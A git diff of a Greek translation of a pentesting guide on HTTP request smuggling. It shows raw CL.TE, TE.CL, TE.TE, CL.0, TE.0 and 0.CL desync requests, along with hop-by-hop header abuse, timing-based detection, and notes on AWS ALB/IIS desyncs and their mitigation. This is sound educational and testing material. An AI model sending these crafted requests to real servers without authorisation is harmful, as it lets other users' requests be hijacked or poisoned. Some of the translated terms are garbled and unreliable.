-> Εάν ένα μήνυμα ληφθεί με πεδίο κεφαλίδας Transfer-Encoding και πεδίο κεφαλίδας Content-Length, το τελευταίο ΠΡΕΠΕΙ να αγνοηθεί.
+> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
 
 **Content-Length**
 
-> Η οντότητα-κεφαλίδα Content-Length υποδεικνύει το μέγεθος του entity-body, σε bytes, που στέλνεται στον παραλήπτη.
+> Η επικεφαλίδα Content-Length υποδεικνύει το μέγεθος του entity-body, σε bytes, που αποστέλλεται στον παραλήπτη.
 
 **Transfer-Encoding: chunked**
 
-> Η κεφαλίδα Transfer-Encoding καθορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του payload body στον χρήστη.\
-> Chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά από chunks
+> Η επικεφαλίδα Transfer-Encoding καθορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του payload body στον χρήστη.\
+> Το chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά από chunks.
 
 ### Πραγματικότητα
 
-Ο **Front-End** (load-balance / Reverse Proxy) **επεξεργάζεται** την κεφαλίδα _**Content-Length**_ ή την _**Transfer-Encoding**_ και ο **Back-end** server **επεξεργάζεται την άλλη**, προκαλώντας **αποσυγχρονισμό** μεταξύ των δύο συστημάτων.\
-Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας attacker θα μπορέσει να στείλει ένα request** στον reverse proxy που ο **back-end** server θα **ερμηνεύσει** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο ότι ο **back-end** server **θα ερμηνεύσει** το **2ο εισαγόμενο request** σαν να **προήλθε από τον επόμενο client** και το **πραγματικό request** αυτού του client θα γίνει **μέρος** του **εισαχθέντος request**.
+Το **Front-End** (load-balancer / Reverse Proxy) **επεξεργάζεται** είτε την επικεφαλίδα _**Content-Length**_ είτε την _**Transfer-Encoding**_, και ο **Back-end** server **επεξεργάζεται την άλλη**, προκαλώντας έναν **αποσυγχρονισμό** μεταξύ των δύο συστημάτων.\
+Αυτό μπορεί να είναι πολύ κρίσιμο αφού **ένας attacker θα μπορεί να στείλει ένα request** στο reverse proxy που ο **back-end** server θα **ερμηνεύσει** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο ότι ο **back-end** server **θα ερμηνεύσει** το **2ο injected request** σαν να **ήρθε από τον επόμενο client**, και το **πραγματικό request** αυτού του client θα γίνει **μέρος** του **injected request**.
 
-### Ιδιαίτερα χαρακτηριστικά
+### Ιδιαιτερότητες
 
-Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:**
+Θυμηθείτε ότι στο HTTP **ένα νέο χαρακτήρα γραμμής αποτελείται από 2 bytes**:
 
-- **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **body** του request. Το body αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **δεν απαιτείται νέα γραμμή στο τέλος του request**.
-- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **body** έναν **δεκαεξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου chunk**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν συμπεριλαμβάνεται** στον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
-- **Connection**: Βάσει της εμπειρίας μου συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request του request Smuggling.
+- **Content-Length**: Αυτή η επικεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **body** του request. Το body αναμένεται να τελειώνει στον τελευταίο χαρακτήρα — **δεν απαιτείται νέα γραμμή στο τέλος του request**.
+- **Transfer-Encoding:** Αυτή η επικεφαλίδα χρησιμοποιεί στο **body** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου chunk**. Το **chunk** πρέπει να **τελειώνει** με **νέα γραμμή**, αλλά αυτή η νέα γραμμή **δεν περιλαμβάνεται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
+- **Connection**: Από την εμπειρία μου συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request του request Smuggling.
 
-## Βασικά Παραδείγματα
+### Ορατό - Κρυφό
+
+Το κύριο πρόβλημα με το HTTP/1.1 είναι ότι όλα τα requests πηγαίνουν στο ίδιο TCP socket, οπότε αν βρεθεί μια διαφορά ανάμεσα σε 2 συστήματα που λαμβάνουν requests, είναι δυνατόν να σταλεί ένα request που θα θεωρηθεί ως 2 διαφορετικά requests (ή περισσότερα) από τον τελικό backend (ή ακόμα και ενδιάμεσα συστήματα).
+
+[Αυτό το blog post](https://portswigger.net/research/http1-must-die) προτείνει νέους τρόπους για να ανιχνευθούν desync attacks σε ένα σύστημα που δεν θα σηματοδοτηθούν από WAFs. Για αυτό παρουσιάζει τις συμπεριφορές Visible vs Hidden. Ο στόχος σε αυτή την περίπτωση είναι να επιχειρήσουμε να βρούμε ασυνέπειες στην απάντηση χρησιμοποιώντας τεχνικές που θα μπορούσαν να προκαλούν desyncs χωρίς να εκμεταλλευόμαστε πραγματικά κάτι.
+
+Για παράδειγμα, στέλνοντας ένα request με το κανονικό Host header και ένα " host" header, αν ο backend παραπονιέται για αυτό το request (ίσως επειδή η τιμή του " host" είναι λανθασμένη) αυτό πιθανώς σημαίνει ότι το front-end δεν είδε το " host" header ενώ ο τελικός backend το χρησιμοποίησε — κάτι που πιθανόν υποδηλώνει έναν αποσυγχρονισμό μεταξύ front-end και backend.
+
+Αυτό θα ήταν μια **Κρυφό-Ορατό (Hidden-Visible) ανισορροπία**.
+
+Αν το front-end είχε λάβει υπόψη το " host" header αλλά ο front-end δεν το έκανε, αυτό θα μπορούσε να είναι μια **Ορατό-Κρυφό (Visible-Hidden)** κατάσταση.
+
+Για παράδειγμα, αυτό επέτρεψε την ανακάλυψη desyncs μεταξύ AWS ALB ως front-end και IIS ως backend. Αυτό έγινε επειδή όταν στάλθηκε το "Host: foo/bar", το ALB επέστρεψε `400, Server; awselb/2.0`, αλλά όταν στάλθηκε το "Host : foo/bar" επέστρεψε `400, Server: Microsoft-HTTPAPI/2.0`, υποδεικνύοντας ότι ο backend έστελνε την απάντηση. Αυτό είναι μια Κρυφό-Ορατό (H-V) κατάσταση.
+
+Σημειώστε ότι αυτή η κατάσταση δεν έχει διορθωθεί στην AWS, αλλά μπορεί να προληφθεί ρυθμίζοντας `routing.http.drop_invalid_header_fields.enabled` και `routing.http.desync_mitigation_mode = strictest`.
+
+
+## Basic Examples
 
 > [!TIP]
-> Όταν προσπαθείτε να το εκμεταλλευτείτε με Burp Suite **απενεργοποιήστε τα `Update Content-Length` και `Normalize HTTP/1 line endings`** στο repeater επειδή κάποια gadgets εκμεταλλεύονται νέες γραμμές, carriage returns και ελαττωματικά content-lengths.
+> Όταν προσπαθείτε να το εκμεταλλευτείτε με το Burp Suite **απενεργοποιήστε το `Update Content-Length` και το `Normalize HTTP/1 line endings`** στο repeater γιατί κάποια gadgets εκμεταλλεύονται newlines, carriage returns και malformed content-lengths.
 
-Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας αμφίσημα requests που εκμεταλλεύονται διαφορές στον τρόπο που οι front-end και back-end servers ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διαφορετικές μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από το γεγονός ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικούς τρόπους, οδηγώντας σε απρόβλεπτα και ενδεχομένως κακόβουλα αποτελέσματα.
+Τα HTTP request smuggling attacks κατασκευάζονται στέλνοντας αμφίβολα requests που εκμεταλλεύονται διαφορές στον τρόπο που τα front-end και back-end servers ερμηνεύουν τις επικεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers προτεραιοποιούν αυτές τις επικεφαλίδες. Οι ευπάθειες προκύπτουν από το γεγονός ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικό τρόπο, οδηγώντας σε απροσδόκητα και ενδεχομένως κακόβουλα αποτελέσματα.
 
 ### Βασικά Παραδείγματα Τύπων Ευπάθειας
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως την τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding.
+> Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως την τεχνική CL.0 αλλά χρησιμοποιώντας Transfer-Encoding.
 
 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
-- **Front-End (CL):** Επεξεργάζεται το request βάσει της κεφαλίδας `Content-Length`.
-- **Back-End (TE):** Επεξεργάζεται το request βάσει της κεφαλίδας `Transfer-Encoding`.
+- **Front-End (CL):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Content-Length`.
+- **Back-End (TE):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Transfer-Encoding`.
 - **Σενάριο επίθεσης:**
 
-- Ο attacker στέλνει ένα request όπου η τιμή της κεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος του περιεχομένου.
-- Ο front-end server προωθεί ολόκληρο το request στον back-end με βάση την τιμή της `Content-Length`.
-- Ο back-end server επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ξεχωριστό, επακόλουθο request.
-- **Example:**
+- Ο attacker στέλνει ένα request όπου η τιμή της επικεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος του περιεχομένου.
+- Ο front-end server προωθεί ολόκληρο το request στον back-end, βάσει της τιμής του `Content-Length`.
+- Ο back-end server επεξεργάζεται το request ως chunked λόγω της επικεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επακόλουθο request.
+- **Παράδειγμα:**
 
 ```
 POST / HTTP/1.1
@@ -76,14 +93,14 @@ Foo: x
 
 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
 
-- **Front-End (TE):** Επεξεργάζεται το request βάσει της κεφαλίδας `Transfer-Encoding`.
-- **Back-End (CL):** Επεξεργάζεται το request βάσει της κεφαλίδας `Content-Length`.
+- **Front-End (TE):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Transfer-Encoding`.
+- **Back-End (CL):** Επεξεργάζεται το request βάσει της επικεφαλίδας `Content-Length`.
 - **Σενάριο επίθεσης:**
 
-- Ο attacker στέλνει ένα chunked request όπου το μέγεθος chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
-- Ο front-end server, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
-- Ο back-end server, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός ανεπιθύμητου επακόλουθου request.
-- **Example:**
+- Ο attacker στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
+- Ο front-end server, σεβόμενος το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
+- Ο back-end server, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας τα υπόλοιπα ως μέρος ενός ανεπιθύμητου επακόλουθου request.
+- **Παράδειγμα:**
 
 ```
 POST / HTTP/1.1
@@ -105,13 +122,13 @@ x=
 
 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
 
-- **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ο ένας μπορεί να ξεγελαστεί ώστε να το αγνοήσει μέσω αποπροσανατολισμού/obfuscation.
+- **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ο ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω απο-διομπλοκάρισματος/απο-σαμποταρίσματος.
 - **Σενάριο επίθεσης:**
 
-- Ο attacker στέλνει ένα request με αποπροσανατολισμένες κεφαλίδες `Transfer-Encoding`.
-- Ανάλογα με το ποιος server (front-end ή back-end) δεν αναγνωρίσει την αποπροσανατολισμένη μορφή, μπορεί να εκμεταλλευτεί ένα CL.TE ή TE.CL vulnerability.
-- Το μη επεξεργασμένο μέρος του request, όπως φαίνεται από έναν από τους servers, γίνεται μέρος ενός επακόλουθου request, οδηγώντας σε smuggling.
-- **Example:**
+- Ο attacker στέλνει ένα request με αποπροσανατολισμένες/obfuscated επικεφαλίδες `Transfer-Encoding`.
+- Ανάλογα με το ποιος server (front-end ή back-end) αποτύχει να αναγνωρίσει την αποπροσανατολισμένη επικεφαλίδα, μπορεί να εκμεταλλευτείται μια ευπάθεια CL.TE ή TE.CL.
+- Το μη επεξεργασμένο μέρος του request, όπως το βλέπει ένας από τους servers, γίνεται μέρος ενός επακόλουθου request, οδηγώντας σε smuggling.
+- **Παράδειγμα:**
 
 ```
 POST / HTTP/1.1
@@ -132,9 +149,9 @@ Transfer-Encoding
 
 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
 
-- Και οι δύο servers επεξεργάζονται το request αποκλειστικά βάσει της κεφαλίδας `Content-Length`.
-- Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει συμφωνία στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
-- **Example:**
+- Και οι δύο servers επεξεργάζονται το request αποκλειστικά βάσει της επικεφαλίδας `Content-Length`.
+- Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
+- **Παράδειγμα:**
 
 ```
 POST / HTTP/1.1
@@ -147,9 +164,9 @@ Normal Request
 
 #### **CL.0 Scenario**
 
-- Αναφέρεται σε σενάρια όπου η κεφαλίδα `Content-Length` υπάρχει και έχει τιμή διαφορετική του μηδενός, υποδεικνύοντας ότι το body του request περιέχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα `Content-Length` (η οποία θεωρείται 0), αλλά ο front-end την αναλύει.
-- Είναι κρίσιμο για την κατανόηση και τη σύνταξη επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
-- **Example:**
+- Αφορά σενάρια όπου η επικεφαλίδα `Content-Length` υπάρχει και έχει τιμή διαφορετική του μηδενός, υποδεικνύοντας ότι το request body έχει περιεχόμενο. Ο back-end αγνοεί την επικεφαλίδα `Content-Length` (την αντιμετωπίζει ως 0), αλλά το front-end την αναλύει.
+- Είναι κρίσιμο για την κατανόηση και κατασκευή smuggling επιθέσεων, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
+- **Παράδειγμα:**
 
 ```
 POST / HTTP/1.1
@@ -162,8 +179,8 @@ Non-Empty Body
 
 #### TE.0 Scenario
 
-- Όπως το προηγούμενο αλλά χρησιμοποιώντας TE
-- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Όπως το προηγούμενο αλλά χρησιμοποιώντας TE.
+- Τεχνική [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Παράδειγμα**:
 ```
 OPTIONS / HTTP/1.1
@@ -182,34 +199,58 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Διακοπή του web server
+#### `0.CL` Σενάριο
 
-Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να **σπάσει ένας web server κατά την ανάγνωση των αρχικών δεδομένων HTTP** αλλά **χωρίς να κλείσει η σύνδεση**. Με αυτόν τον τρόπο, το **body** του HTTP request θα θεωρηθεί το **επόμενο HTTP request**.
+Σε ένα `0.CL` σενάριο, ένα request αποστέλλεται με Content-Length όπως:
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+7
 
-Για παράδειγμα, όπως εξηγείται στο [**this writeup**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν κάποιοι **Unicode** χαρακτήρες και αυτό θα κάνει τον server να **σπάσει**. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το body του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **body** του request θα αντιμετωπιστεί ως το **επόμενο HTTP request**.
+GET /404 HTTP/1.1
+X: Y
+```
+Και το front-end δεν λαμβάνει υπόψη το `Content-Length`, οπότε στέλνει μόνο το πρώτο request στο backend (μέχρι το 7 στο παράδειγμα). Ωστόσο, το backend βλέπει το `Content-Length` και περιμένει για ένα body που ποτέ δεν φτάνει γιατί το front-end ήδη περιμένει την response.
+
+Ωστόσο, αν υπάρχει ένα request που μπορεί να σταλεί στο backend και στο οποίο απαντάνε πριν ληφθεί το body του request, αυτό το deadlock δεν θα συμβεί. Σε IIS για παράδειγμα αυτό συμβαίνει στέλνοντας requests σε απαγορευμένες λέξεις όπως `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), με αυτόν τον τρόπο, το αρχικό request θα απαντηθεί άμεσα και το δεύτερο request θα περιέχει το request του victim όπως:
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+Αυτό είναι χρήσιμο για να προκαλέσει μια desync, αλλά μέχρι τώρα δεν έχει κανένα αντίκτυπο.
+
+Ωστόσο, το post προσφέρει μια λύση γι' αυτό μετατρέποντας ένα **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+
+#### Σπάσιμο του web server
+
+Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατό να προκαλέσετε σφάλμα στον web server κατά την ανάγνωση των αρχικών δεδομένων HTTP αλλά χωρίς να κλείσετε τη σύνδεση. Με αυτόν τον τρόπο, το **body** του HTTP request θα θεωρηθεί το **next HTTP request**.
+
+Για παράδειγμα, όπως εξηγείται στο [**this writeup**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί χαρακτήρες **Unicode** και αυτό θα έκανε τον server να **σπάσει**. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με το header **`Connection: keep-alive`**, το body του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **body** του request θα θεωρηθεί ως το **next HTTP request**.
 
 #### Εξαναγκασμός μέσω hop-by-hop headers
 
-Καταχρώμενοι τα hop-by-hop headers, μπορείτε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding, ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling**.
+Καταχρώμενοι τα hop-by-hop headers μπορείτε να υποδείξετε στον proxy να **διαγράψει το header Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling**.
 ```
 Connection: Content-Length
 ```
-Για **περισσότερες πληροφορίες σχετικά με hop-by-hop headers** επισκεφτείτε:
+For **περισσότερες πληροφορίες σχετικά με hop-by-hop headers** visit:
 
 
 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## Εντοπισμός HTTP Request Smuggling
+## Finding HTTP Request Smuggling
 
-Η αναγνώριση των HTTP request smuggling ευπαθειών συχνά επιτυγχάνεται με τεχνικές χρονισμού, που βασίζονται στην παρατήρηση του χρόνου που χρειάζεται ο server για να απαντήσει σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για τον εντοπισμό των CL.TE και TE.CL ευπαθειών. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για τον εντοπισμό τέτοιων ευπαθειών:
+Ο εντοπισμός των ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονισμού (timing techniques), οι οποίες βασίζονται στην παρατήρηση του πόσος χρόνος απαιτείται για να απαντήσει ο server σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για τον εντοπισμό των CL.TE και TE.CL ευπαθειών. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για να βρεθούν τέτοιες ευπάθειες:
 
-### Εντοπισμός CL.TE Ευπαθειών με Χρήση Τεχνικών Χρονισμού
+### Εντοπισμός ευπαθειών CL.TE με τεχνικές χρονισμού
 
 - **Μέθοδος:**
 
-- Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
+- Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
 - **Παράδειγμα:**
 
 ```
@@ -226,17 +267,17 @@ A
 
 - **Παρατήρηση:**
 - Ο front-end server επεξεργάζεται το αίτημα βάσει του `Content-Length` και κόβει το μήνυμα πρόωρα.
-- Ο back-end server, αναμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.
+- Ο back-end server, περιμένοντας ένα chunked μήνυμα, αναμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.
 
-- **Ενδείξεις:**
-- Timeouts ή μεγάλες καθυστερήσεις στην απόκριση.
-- Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες για τον server.
+- **Δείκτες:**
+- Χρονικά όρια ή μεγάλες καθυστερήσεις στην απόκριση.
+- Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή.
 
-### Εντοπισμός TE.CL Ευπαθειών με Χρήση Τεχνικών Χρονισμού
+### Εντοπισμός ευπαθειών TE.CL με τεχνικές χρονισμού
 
 - **Μέθοδος:**
 
-- Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
+- Στείλτε ένα αίτημα που, εάν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.
 - **Παράδειγμα:**
 
 ```
@@ -252,40 +293,48 @@ X
 
 - **Παρατήρηση:**
 - Ο front-end server επεξεργάζεται το αίτημα βάσει του `Transfer-Encoding` και προωθεί ολόκληρο το μήνυμα.
-- Ο back-end server, αναμένοντας μήνυμα βάσει του `Content-Length`, περιμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.
+- Ο back-end server, περιμένοντας ένα μήνυμα βάσει του `Content-Length`, αναμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.
 
-### Άλλες Μέθοδοι για τον Εντοπισμό Ευπαθειών
+### Άλλες μέθοδοι για τον εντοπισμό ευπαθειών
 
-- **Διαφορική Ανάλυση Απαντήσεων:**
-- Στείλτε ελαφρώς διαφοροποιημένες εκδοχές ενός αιτήματος και παρατηρήστε αν οι αποκρίσεις του server διαφέρουν με απροσδόκητο τρόπο, δείχνοντας διάκριση στην ανάλυση.
-- **Χρήση Αυτοματοποιημένων Εργαλείων:**
-- Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν να δοκιμάσουν αυτόματα για αυτές τις ευπάθειες στέλνοντας διάφορες μορφές αμφίσημων αιτημάτων και αναλύοντας τις αποκρίσεις.
-- **Δοκιμές Διακύμανσης Content-Length:**
-- Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν συμφωνούν με το πραγματικό μέγεθος περιεχομένου και παρατηρήστε πώς ο server χειρίζεται αυτές τις ασυμφωνίες.
-- **Δοκιμές Διακύμανσης Transfer-Encoding:**
-- Στείλτε αιτήματα με αποκρυπτογραφημένους ή κατεστραμμένους `Transfer-Encoding` headers και παρακολουθήστε πώς ανταποκρίνονται διαφορετικά ο front-end και ο back-end server σε τέτοιες χειραγωγήσεις.
+- **Ανάλυση διαφορών στην απόκριση:**
+- Στείλτε ελαφρώς διαφορετικές εκδοχές ενός αιτήματος και παρατηρήστε αν οι αποκρίσεις του server διαφέρουν με μη αναμενόμενο τρόπο, υποδεικνύοντας ασυμφωνία στην ανάλυση (parsing).
+- **Χρήση αυτοματοποιημένων εργαλείων:**
+- Εργαλεία όπως το extension 'HTTP Request Smuggler' του Burp Suite μπορούν να ελέγξουν αυτόματα για αυτές τις ευπάθειες στέλνοντας διάφορες μορφές αμφίβολων αιτημάτων και αναλύοντας τις αποκρίσεις.
+- **Δοκιμές διακύμανσης Content-Length:**
+- Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο server χειρίζεται αυτές τις ασυμφωνίες.
+- **Δοκιμές διακύμανσης Transfer-Encoding:**
+- Στείλτε αιτήματα με ασαφείς ή κατεστραμμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς οι front-end και back-end servers ανταποκρίνονται διαφορετικά σε τέτοιες χειραγωγήσεις.
 
-### Δοκιμή Ευπαθειών HTTP Request Smuggling
+### Η κεφαλίδα `Expect: 100-continue`
 
-Μετά την επιβεβαίωση της αποτελεσματικότητας των τεχνικών χρονισμού, είναι κρίσιμο να επαληθεύσετε αν τα client requests μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα να κάνετε ένα request στο `/` να αποδώσει απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](#basic-examples) δείχνουν πώς να δηλητηριάσετε ένα client's request ώστε να προκληθεί απάντηση 404, παρότι ο client σκοπεύει να προσπελάσει διαφορετικό resource.
+Ελέγξτε πώς αυτή η κεφαλίδα μπορεί να βοηθήσει στην εκμετάλλευση ενός http desync σε:
 
-**Βασικά Σημεία προς Προσοχή**
+{{#ref}}
+../special-http-headers.md
+{{#endref}}
 
-Όταν δοκιμάζετε για request smuggling επεμβαίνοντας σε άλλα αιτήματα, λάβετε υπόψη τα εξής:
+### HTTP Request Smuggling Vulnerability Testing
 
-- **Διακριτές Δικτυακές Συνδέσεις:** Τα "attack" και "normal" requests πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επικυρώνει την παρουσία ευπάθειας.
-- **Συνεπές URL και Παράμετροι:** Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων για αμφότερα τα requests. Σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει URL και παραμέτρων. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προϋπόθεση για επιτυχή επίθεση.
-- **Χρονισμός και Αγώνες (Racing Conditions):** Το "normal" request, που προορίζεται να ανιχνεύσει παρεμβολή από το "attack" request, ανταγωνίζεται με άλλα ταυτόχρονα αιτήματα της εφαρμογής. Επομένως, στείλτε το "normal" request αμέσως μετά το "attack" request. Εργασίες με υψηλό φόρτο μπορεί να απαιτήσουν πολλαπλές δοκιμές για οριστική επιβεβαίωση της ευπάθειας.
-- **Προκλήσεις Load Balancing:** Front-end servers που λειτουργούν ως load balancers ενδέχεται να διανέμουν αιτήματα σε διάφορα back-end συστήματα. Αν τα "attack" και "normal" requests καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το θέμα του load balancing μπορεί να απαιτήσει αρκετές προσπάθειες για επιβεβαίωση μιας ευπάθειας.
